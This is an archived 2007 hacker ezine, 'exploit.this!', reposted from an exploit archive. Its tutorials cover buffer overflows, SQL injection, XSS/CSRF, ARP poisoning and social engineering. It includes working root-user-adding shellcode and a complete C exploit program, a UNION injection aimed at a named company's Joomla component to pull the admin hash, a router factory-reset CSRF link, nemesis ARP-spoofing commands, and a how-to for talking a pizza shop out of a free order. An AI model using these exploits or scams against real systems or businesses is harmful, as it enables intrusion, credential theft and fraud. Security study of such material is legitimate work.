- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13086
- Проверка EDB
-
- Пройдено
- Автор
- CYPHERXERO
- Тип уязвимости
- PAPERS
- Платформа
- EZINE
- CVE
- N/A
- Дата публикации
- 2007-06-10
Код:
###
###### # # ##### # #### # ##### ##### # # # #### ###
# # # # # # # # # # # # # # # ###
##### ## # # # # # # # # ###### # #### #
# ## ##### # # # # # ### # # # # #
# # # # # # # # # ### # # # # # # ###
###### # # # ###### #### # # ### # # # # #### ###
[ A hacking and network security magazine ]
written by CypherXero for cyphersecurity
http://exploitmag.cypherxero.net
cypherxero@leetbox:~$ Let's get this bitch started!
cypherxero@leetbox:~$ ./exploit.this
-[0x00] TABLE OF CONTENTS -------------------------------------------------------------------------------
[0x01] From the Editor
[0x02] Buffer Overflow Attacks
[0x03] SQL Injections for 0wning a Box
[0x04] XSS/CSRF Injections
[0x05] Social Engineering Pizza Hut
[0x06] ARP Poisoning Attacks
[0x07] Shoutz and Teh End
-[0x01] FROM THE EDITOR ---------------------------------------------------------------------------------
Welcome to the very first issue of exploit.this! magazine. A few months ago, I sat down and started coming
up with ideas for a security team, and a magazine to go along with it. I love learning new technology and
techniques, and I want to give back to the amazing community of hackers and computer enthusiasts by
producing this magazine. I want to teach people the power of technology, and how it can be used to do
things it wasn't inherently designed to allow you to do, either by taking files that don't belong to you,
or using a service in a new way. This information is provided for you to use in whatever manner you see fit.
What I'd like to see personally is to get people to think black hat, and act white hat. What I mean by that
is I want you to hack your friend's wireless networks, and learn how you did what you did. When it comes
time to secure a wireless network in the future, you'll remember back when you did it for fun, and you'll
know how to keep others out, because you know how to get in. It's like a locksmith learning how to break
locks to understand how to build a better lock. Information is power, and I certainly won't withhold
information from people. It's how we get better as a community, and it's how we prevent making the same
mistakes over and over. So enjoy this magazine, and I hope you can learn a few new tricks for your arsenal!
-[0x02] BUFFER OVERFLOW ATTACKS ---------------------------------------------------------------------------
Buffer Overflow attacks are still common in today's software, and unfortunately, they're becoming
more prevalent. The reason for it's amazing prevalence in software today is due to functions in programs
that don't check buffers, and the programmers who don't use the newer, safer functions, or don't implement
their own buffer checks. In this paper, I will discuss what a buffer overflow looks like, how it works,
and I will give you proof-of-concept code that you can compile yourself.
A buffer overflow occurs when data is written past a buffer in an application. Say, for example, a
program that takes user input, and has a buffer of 100 characters (or bytes). Anything less than 100
characters is accepted, and works within the parameters of the buffer. Once you put in 100 or more
characters (bytes), the buffer overflows, causing a segmentation fault in the program, and exits. What
ends up happening is the data that overflows the buffer is pushed onto another location in memory, causing
a call to an invalid location in memory, and thus a crash of the application. There are many different
stack registers in a CPU, that help the CPU better manage memory. The ESP (Extended Stack Pointer) is
references the last element on the stack, and when items are pushed or popped off the stack, the ESP is
called. The EBP (Extended Base Pointer) holds the address to the beginning of the stack. In this paper, we
will be focusing our attack and exploit of the EIP register. The EIP (Extended Instruction Pointer) points
to the current address in memory.
Here is a small piece of C code that is vulnerable to stack overflow exploits:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[100];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Compile the C code using gcc (gcc vulnerable.c -o vulnerable), and enter a simple string to the
program in the command line:
root@box:~# ./vulnerable Hello
Hello
root@box:~#
The program completed it's function, by copying the string entered into the buffer
of 100 characters, printing the string back out, and exiting.
Before continuing, type in the command to generate core dumps, we'll need them in a minute.
ulimit -c unlimited
What would happen if we entered more than 100 characters into the application? Let's find out.
First, a word about this next step. Each person will encounter a different "magic number", because of the
way the compiler works, the system you're using, and so on. So, an exact 100 or 101 characters probably
won't work, due to added padding and buffers around the programmed buffer. But, it will be close to the
buffer, so we need to fuzz the application to find the perfect number. Fuzzing is just generating junk
data to determine how many characters is needed for the exploit. Lets get started.
We're going to use perl to make things easier for us, rather than having to count each character.
From the command line, enter:
./vulnerable `perl -e 'print "A"x100'`
You should get something like this:
root@box:~# ./vulnerable `perl -e 'print "A"x100'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@box:~#
The perl command sent 100 A's to our vulnerable binary, and it spit all
100 characters back out, exiting normally. Which means 100 is NOT our magic number we need. Keep
incrementing the number by 5 or so, until you get something like this:
root@box:~# ./vulnerable `perl -e 'print "A"x128'`
segmentation fault (core dumped)
root@box:~#
Alright, we got a segmentation fault! This is exactly what we're looking for. Keep doing this
until you find the first number that does it for you (ie. if 124 works fine, but 125 goes to a seg fault,
use 125). Once you get a core dump, let's analyze what happened to cause the core dump, using gdb:
root@box:~# gdb -c core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux".
Core was generated by `./vulnerable AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
gdb>
What does this mean? See the 0x41414141 above? That's our EIP register. Our application crashed
because it tried to access that location in memory, and it didn't exist, so it was forced to crash. Ah,
but what is 41414141? Separate it into to numbers each, like such: 41 41 41 41. If you've ever studied
hex, you'd know whats going on right away. The number 41 is the hex value for, yes, uppercase "A". Did you
catch what we just did? We overflowed the buffer, and overwrote our character (A) over the EIP register.
All we would have to go is overwrite the EIP register with a real location in memory, and we can have it
execute that location in memory without issue at all. First, let's take our "magic number". For me, it was
128 bytes that it took to overwrite the EIP with 41414141. Since 41 equals "A" in hex, that's AAAA, or 4
bytes. Those 4 bytes will be know as the RET, which is updated after each operation, to know where in
memory to move to next, after the current operation is complete. So, take your total size of the overflow
buffer (in my case, again, it was 128) and subtract 4 bytes. So 128 minus 4 equals 124 bytes. We have 124
bytes of junk space available for us to use. Let's talk about shellcode.
Shellcode
Shellcode is basically the payload that we want to execute. Think about once we have a program
exploited and under our control? Then what? Well, of course we would want to drop in some shellcode of our
choosing, and run commands on the exploited target system. Since writing shellcode is beyond the scope of
this paper, I will provide the shellcode used in the demonstrations. Our shellcode (borrowed from
milw0rm.com), will add a new user called "r00t" to the system. This is useful for being able to connect to
a machine with our own user name, with whatever permissions we set. Can't crack the root password? Well,
exploit a buffer overflow, drop in and execute shellcode that adds a new user to the system, and log in
via the new username. Here's the shellcode we'll be using today:
char shellcode[] =
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
"\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
"\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
This shellcode is 69 bytes long. So, 128 - 4 - 69 equals 55 bytes. The final remaining bytes will
be our NOP-sled. NOP, or No Operation codes, are codes that signify that that address in memory is to not
be executed, and to keep moving down until executable code is found. This will let us "slide" into the
shellcode and execute it. A typical NOP code is x90, and it's the one we'll be using for our exploit.
NOP-slides help with relocating exploit code to other systems, which their RET address may differ
slightly. This ensures that we can slide into our shellcode via the NOP-slide almost 100% of the time. Now
we're going to find our RET code that we need, and then we'll be ready to exploit the application.
First, we'll use perl to help us out again.
So, the order is:
[ NOP-sled ] [ shellcode ] [ RET ]
root@box:~# ./vulnerable `perl -e 'print "\x90"x55,"\x6a\x05\x58\x31
\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63
\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68
\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a
\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80","BBBB"'`
As you can see from the above example, we're printing 55 bytes of NOP code (\x90), our shellcode
(which accounts for 69 bytes), and finally, our RET address, which is 4 bytes. Since we don't know
the RET address, let's just make it BBBB for right now (which B is 42 in hex, FYI). Once we execute
this code, we'll get a seq fault again, with another core dump. Load up gdb with the core dump
(gdb -c core). You should now see the EIP register is showing 0x42424242. Bingo! We're now executing our
made-up RET address, BBBB. All we need is the location of our
NOP-sled, and from there, we'll slide right on into our shellcode, and completely own this machine! Still
in gdb, type in:
gdb> x/1000xb $esp
Scroll up until you find a bunch of lines that look like so:
0xbffffbc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffbc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffbd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffbd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffbe0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffbe8: 0x90 0x90 0x90 0x90 0x6a 0x05 0x58 0x31
See all the "0x90" codes? Those are our NOP codes, and that string of NOP codes is...you guessed
it, our NOP-sled! Now, take a look at the codes when it changes, which starts with "0x6a". Look familiar?
Yes, it's our shellcode, just like we wanted. Now, to pick our RET address. Find a line with all NOP codes
(0x90), and look at the number set on the far left. Copy that down. I'll go with 0xbffffbc8. We need to
convert the number from big-endian to little-endian for use. Remove the 0x, and write down the remaining
data:
bffffbc8
Now, separate those into two places, like such:
bf ff fb c8
Now, to write it in the order we need, start with the last two places, and put them first, and work
backwards until you're done.
c8 fb ff bf
Now, write that in hex escape characters, and it'll be ready for our use.
\xc8\xfb\xff\xbf
Repeat the same code as before, but replace "BBBB" with "\xc8\xfb\xff\xbf". Hit enter.
Now, you're going to get a lot of garbage on the screen: that's OK. Now, type in:
root@box:~# cat /etc/passwd
You know what's there now? Yep, the sad truth is, this vulnerability just added a new user to the system.
You should now see this at the bottom of your passwd file:
r00t::0:0:::
Of course, using perl on the command line is no way to launch a proper exploit. Here's a small piece of C
code I wrote to use what we just learned, but this time in an easy to use and compile exploit code.
#include <string.h>
#include <stdio.h>
/* Total Size: 128 Bytes */
int main()
{
printf("Buffer Overflow by ::[CypherXero]::\n");
char exploit[300] = "./vulnerable ";
/* EIP Address */
/* 4 Byte Return Address */
char ret[] = "\xe8\xfb\xff\xbf";
/* Our NOP-slide, paving the way for shellcode execution */
/* 55 Bytes */
char nopslide[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
/* add user r00t to /etc/password */
/* shellcode from milw0rm.com */
/* 69 Bytes */
char shellcode[] =
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
"\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
"\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
/* Let's build the buffer overflow */
strcat(exploit, nopslide); /* 55 Bytes */
strcat(exploit, shellcode); /* 69 Bytes */
strcat(exploit, ret); /* 4 Bytes */
/* TOTAL: 128 Bytes */
printf("Exploiting ......\n");
execl(exploit, 0);
printf("Exploitation Finished!\n");
return 0;
}
This should have given you a good, technical overview of what buffer overflows are, and how
you can go about exploiting these flaws. This paper just focused on one vulnerable function, strcpy().
There are plenty of other vulnerable functions in C that are susceptible to buffer overflow attacks. For
completion of this paper, use strncpy() instead, which features bounds checking, to make sure that the
buffer never goes past a limit that you specify. And attempt to exploit the buffer using strncpy() will be
stopped. Unfortunately, there are a lot of programs which use strcpy() with no bounds checking, and are
vulnerable to this kind of attack. And an FYI, the MS Blaster worm of 2003 used a buffer overflow exploit
in RPC DCOM. This information, like a hammer, can be misused for harm. I trust that you will choose to use
the information you have just learned to make yourself a better security expert.
-[0x03] SQL INJECTIONS FOR 0WNING A BOX -----------------------------------------------------------------
With the growing popularity of websites using the standard PHP/SQL interfaces, a new and dangerous
type of attack is becoming more popular for hackers, and that is SQL Injection. SQL, or Standard Query
Language, is a type of database specification for reading and writing information to a database. This is
used to create dynamic webpages with structured content, and other data types.
The problem is not actually a problem with the SQL database itself, but rather how it is accessed
and used via the scripting language on the website. The standard scripting language on the web for
interacting with SQL databases is PHP. The real issue lies with the PHP programmers not writing the SQL
statements correctly, which can allow an attacker to inject their own commands directly to the SQL
database. Here's a sample of PHP code that dynamically builds a SQL command to be processed:
$sql = "SELECT * FROM users WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";
The SQL command would look like this to the database:
SELECT * FROM users WHERE username='cypherxero' and password = '5f4dcc3b5aa765d61d8327deb882cf99';
This would lookup my username (cypherxero), and then compare the password hash with the one in the
database. If they're the same, then I'm authenticated, and logged in. The problem with this statement is
that there is no sanitation on the user input, so if you entered your own SQL command, say for this login
box, then you can bypass authentication!
Consider this SQL Statement:
' OR 1=1--
Inserting this into the SQL command that already exists, we get this:
SELECT * FROM users WHERE username='' OR 1=1--' and password = '5f4dcc3b5aa765d61d8327deb882cf99';
This statement would return TRUE (since 1 does equal 1), and the rest of the SQL statement after the
double-dashes will be commented out, and the system will return the first username in the database, and
log you into the system as the first user (most likely admin) without the need for a password!
Other ways of using SQL injections is with HTTP GET statements that pass variables onto the database.
Let's take a look at a real SQL Injection I found a few weeks ago, in a component on the Joomla CMS. I
first discovered this flaw while doing some random web app sec testing on one of my friend's company's
website. Let's take this URL from her site:
http://www.klochko.com/index.php?option=com_philaform&&Itemid=34&form_id=5
As you can tell, we're passing the variables option, Itemid, and form_id to index.php, and the PHP script
is passing those variables onto the SQL database. Let's see what happens when I insert a single tick mark
at the end of the last variable:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near \'\\' ORDER BY ordering ASC\' at line 1 SQL=SELECT * from
jos_philaform_detail WHERE form_id=5\\' ORDER BY ordering ASCNo elements defined
Since we passed a variable that the database didn't know what to do with, it freaked out and returned an
error message. Now, any sane person that's not a hardcore geek would just think something wrong happened,
and try another website. Not me. I knew right then from seeing that message that I had a SQL Injection,
and that I wanted to see what I could do. I searched google, milw0rm, packetstorm, and securityfocus, and
couldn't find a sql injection for Phil-a-Form, which upon further research, was a piece of software for
Joomla to add extra functionality. So, I figured either it was impossible to get an injection and had been
done before without any luck, or that no one had found it yet. It turns out no one had found it yet, and
now it was a race against the clock to find a proof-of-concept injection and submit it before someone else
found it.
There's a nice little SQL command called UNION that combines data from more than one table into one
output, and that's what I was going to need. My goal was to get the administator password (in MD5 hash
format) from the database. The SQL statement from the error messaged helped me understand what was going
on with the query, and helped me write my injection. I knew that it was pulling data from the sql database
for the forms that were on the page. I needed to combine that form table and data from another table onto
one page. I did some research on Joomla, and found the list of the default SQL tables, and the format that
they were in. I knew I needed to pull the password from the jos_users table, and that the password field
was called password.
Since UNION commands need to keep the columns the same for both tables, there were a lot more tables in
the jos_philaform table than in the users table, so to keep the tables the same for the UNION command, I
had to fill the injection string with enough nulls to make them the same. Since Phil-a-Form is
pay-software, I didn't feel like putting my money down on software that I don't need, so it was just a
matter of trial and error until I had the correct column size. The final SQL injection string looked
looked like this:
UNION SELECT null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM jos_users --
This statement, put on the end of the "form_id=5", pulled the password has from the database, and returned
it to me on the page. The final result was the form on the page, but at the very bottom, a nice little
error message, with, lo and behold, the MD5 hash of the first user in the table, the administrator.
Fatal error: Cannot instantiate non-existent class: philaform_5f4dcc3b5aa765d61d8327deb882cf99 in
/home/klochko/public_hhtml/components/com_philaform/philaform.class.php on line 437
There it was, what I was looking for, the password in MD5. All that was left was to crack it using rainbow
tables, and then if I was malicous, to log into admin and deface the website, or do whatever I wanted at
that point. My friend's website has since been upgraded to the newer version of Phil-a-Form, and no, that
is not the real admin hash, I don't think they would make their password "password".
####################### NOW FOR A QUICK BREAK ###########################
(12:07:54 PM) Dark Fusion: i feel a little drunk
(12:07:58 PM) CypherXero: lol
(12:08:05 PM) CypherXero: drunk on PWNAGE
(12:08:10 PM) Dark Fusion: w0rd
(12:08:15 PM) Dark Fusion: and the strong stogie
(12:08:19 PM) CypherXero: yep
(12:08:20 PM) Dark Fusion: but mostly pwnage
(12:08:24 PM) CypherXero: heh
(12:08:52 PM) Dark Fusion: first thing litehedded said to me on the irc room was " wtf is cx doin on pimp?"
(12:08:57 PM) CypherXero: haha
(12:09:12 PM) CypherXero: CX owns the internet
(12:09:19 PM) Dark Fusion: told him for the pron
(12:09:36 PM) CypherXero: Nightmare on leet street: "You are all my n00bs now!"
(12:09:45 PM) Dark Fusion: oh NOES!!!!!
(12:09:49 PM) CypherXero: lol
###########################################################################
-[0x04] XSS/CSRF INJECTIONS -----------------------------------------------------------------------------
Cross-site Scripting (XSS) injections are popping up (no pun intended) everywhere, and are leading to a
rise in phising scams, and other attacks on websites all over the web. With XSS, what happens is user
input is put back on the page for dynamic content. To illustrate this, consider a search on a corporate
website. When you type in your search, let's say it's the NBA.com (which has an XSS vulnerability, BTW),
the page will contain your results, along with something like "229 Results found for Chicago Bulls".
Change your search from "Chicago Bulls" to something even more leet, like "icanhascheezburger", and on the
page you should now get something like "0 Results found for icanhascheezburger". If you look at what's
going on, they're taking your search string, and returning it on the page. If this input is not sanitized,
then you can inject your own code into the page, and have it executed on load. Here's a sample javascript
that will pop up an alert box that says "XSS".
<script>javascript:alert('XSS');</script>
Try inserting this value into the search box, or even better, after you make a standard search, look up in
the URL and see if you can find the variable that is passing your search string to the server, and place
the javascript in that variable, and hit return. If the website is not sanitizing your input, then the
rouge javascript will be placed on the page dynamically, and executed, popping up a javascript alert box.
Javascript DOM (Document Objection Model) has really powerful statements that you can insert and execute
client-side. One statement, document.cookie will return the cookie for that website, so one evil thing you
can do is to send someone a link with your malicous javascript, and have it send you their cookies from
that website. The reason why XSS gets it's name is because if you can execute javascript on the page, you
can also execute javascript from an external .js file on another site. This is where the term "Cross-Site"
scripting comes from. With XSS, you can now inject javascript onto a REAL website. Here's an example that
will demonstrate the power of XSS.
Say, for example, a popular bank has a XSS flaw on their login page, you could inject javascript on the
page to send you a person's username and password when they login, and it will actually log them into the
system, with the end-user being nonthewiser about what just happened.
CSRF, or Cross-site Request Forgery, is similar to XSS, but instead of injection code onto a page, you're
using someone's access to a website (like their bank), to make a request on their behalf without them
knowing it. One interesting thing you can do with CSRF is to reset Linksys routers with it. When you click
to reset the router to factory default, you're sending a command to the router that it understands, and
knows what to do with. If you keep your username and password to the default (admin/admin), I can
construct an CSRF script that loads in the background in an iframe, invisible to the user. But what the
script is actually doing to sending a request to their router, on their behalf, with the command to reset.
For a linksys router on 192.168.1.1, with admin/admin, the full request would look this such:
http://admin:[email protected]/apply.cgi?submit_button=Factory_Defaults&change_action=&
action=Restore&wait_time=19&FactoryDefaults=1
Send this link to someone, and have it load automatically in the background with an iframe, and within
seconds their router will reset to factory default, because it thinks that they made the request, and that
it's doing what it was programmed to do.
-[0x05] SOCIAL ENGINEERING PIZZA HIT --------------------------------------------------------------------
We talk so much about hacking machines, but have you ever stopped to think about that hacking
people could work with great results? Social Engineering is basically figuring how how to "hack people",
by using conversation and skills to get what you want. So let's say you're hungry, and you don't have any
cash on you. You really have to get some work done, but you can't work on an empty stomach, and you just
saw one of those damn fucking ads on TV again for the 3rd time in an hour about the wonderful pizzas from
Pizza Hut. Fuckers. So, let's just get a free pizza. It's that easy!
First, a little reconnaissance. I found this out by pure accident, but what happened to me once was
that I put an order in for a pizza (and I was going to pay like always), and almost 2 hours elapsed and
the food wasn't at my house yet, so I called up the store again, and asked for the status of the order. The
order wasn't in the system! WTF? So, they told me that if they don't answer the phone fast enough, that they
automatically rerouted the calls to a call center somewhere in the US, and take orders that way. Then,
they just pass the order back to the store and make/deliver the pizza. So, for some reason, they failed
get my order I have placed like 2 hours ago. So, the pizza finally arrives and I pay full price.
A couple of weeks later, I remembered what had happened, and I decided to social engineer
Pizza Hut for a free pizza, and I was going to use the call center against them. I placed a call to the
store, and made sure that I was talking to the local store, and not the call center. Once I was talking
to my local store, I created a fake senario that I had been having issues with my order not getting
through, and I think it was the call center again dropping my order. I said I had been waiting 2 hours,
and that this was the second time this had happened. I said I had company over, and that they were getting
hungry, and if they can please deliver my order! Since I had never called and placed an order, and it was
apparently "lost" in the system (it's OK, blame the fucking computers for all of life's ills!), I gave
them my order for the second time (in reality, it was the first time I gave them my order). I recited
what I wanted without hesitation (because I was supposed to have placed this order already, remember?).
I just outright asked for it to be delivered ASAP, and that I didn't want to pay. Yes, I really
told them I wanted it for free. And you know what? They complied without hesitation. Fifty minutes later, and
there's a hot, fresh pizza waiting at my door...for free. I didn't even tip the delivery guy, just because
that would defeat the whole purpose of my social engineering. Now, this is pretty much a one-time only
deal, because calling every week and doing this will raise suspicions.
-[0x06] ARP POISONING ATTACKS -------------------------------------------------------------------
A typical scenario of ARP would be when Computer A sends data to Computer B, on an
internal network. An ARP request is sent to every computer on the network, asking .Who has
192.168.2.4?.. Every computer will ignore this request unless it is the computer with the IP address of
192.168.2.4. In that case, Computer B will broadcast an ARP reply stating that 192.168.2.4 is on the
MAC Address of 00:08:74:4C:7F:1D, which is the MAC address.
ARP builds a table of IP addresses and their MAC addresses, so data can reach it.s intended
destination. That.s all well and good, but how can we exploit this? By poisoning the ARP Cache table,
and pretending we.re another computer.
By using an application that can send raw data packets, we can use packet crafting (or packet
injection) to crafting our OWN ARP requests and replies. In the situation of trying to capture packets
on a switched network (man-in-the-middle attack), the basic routine is to tell the router WE are
192.168.2.4, and submit our OWN MAC address. We do the same to the victim computer, in which we
tell it that WE are the router, and this is the router.s new MAC address.
Now, with IP forwarding enabled on our machine used to launch the poisoning, we can now be
literally in the middle of the router and the target.s conversation. From there, it.s simply a matter of
launching a packet sniffer, such as tcpdump, to capture and save the packets.
A tool that we can use to demonstrate how ARP Poisoning works is one called nemesis. nemesis writes
raw TCP packets across the network, allowing us to send our own ARP packets. Open up the terminal,
and type in these two commands:
cypherxero@leetbox:~$ nemesis arp -S 192.168.2.1 -D 192.168.2.1
/ -h 00:04:5a:41:92:05 -M 00-0D-9D-59-94-C6
cypherxero@leetbox:~$ nemesis arp -S 192.168.2.100 -D 192.168.2.100 -H 00:04:5a:41:92:05
/ -h 00:04:5a:41:92:05 -M 00:0C:41:C1:71:95
The basic format is:
nemesis arp -S [Gateway IP] -D [Gateway IP] -H [Your MAC] -h [Your MAC] -M [Target MAC]
nemesis arp -S [Target IP] -D [Target IP] -H [Your MAC] -h [Your MAC] -M [Gateway MAC]
-[0x07] SHOUTZ AND TEH END -----------------------------------------------------------------------------
First, let me give a shoutout to my leet friends on teh interweb, darkfusion, litehedded, and all my
friends that have been with me for awhile. I fucking love hacking and security, and there's nothing like
being rewarded for all your hard work by 0wning a machine at 3am. I live in a small town, and I hate this
place, so in the next six months I'll be moving out to Seattle, Washington to make a name for myself in
the tech/security industry. It's going to take a lot of hard work and motivation, but I think I can
manage. If I can manage to write an entire fucking magazine from the *nix shell, I think I can do
anything! w00t!
Shoutz also go to str0ke from milw0rm, for running such a great site. The people I've met on milw0rm, and
the amazing collection of knowledge pwns. Keep it up, guys. w0rd.
exploit.this!, foo.
p34ce...[CYPHERXERO] / www.cypherxero.net
# milw0rm.com [2007-06-10]- Источник
- www.exploit-db.com
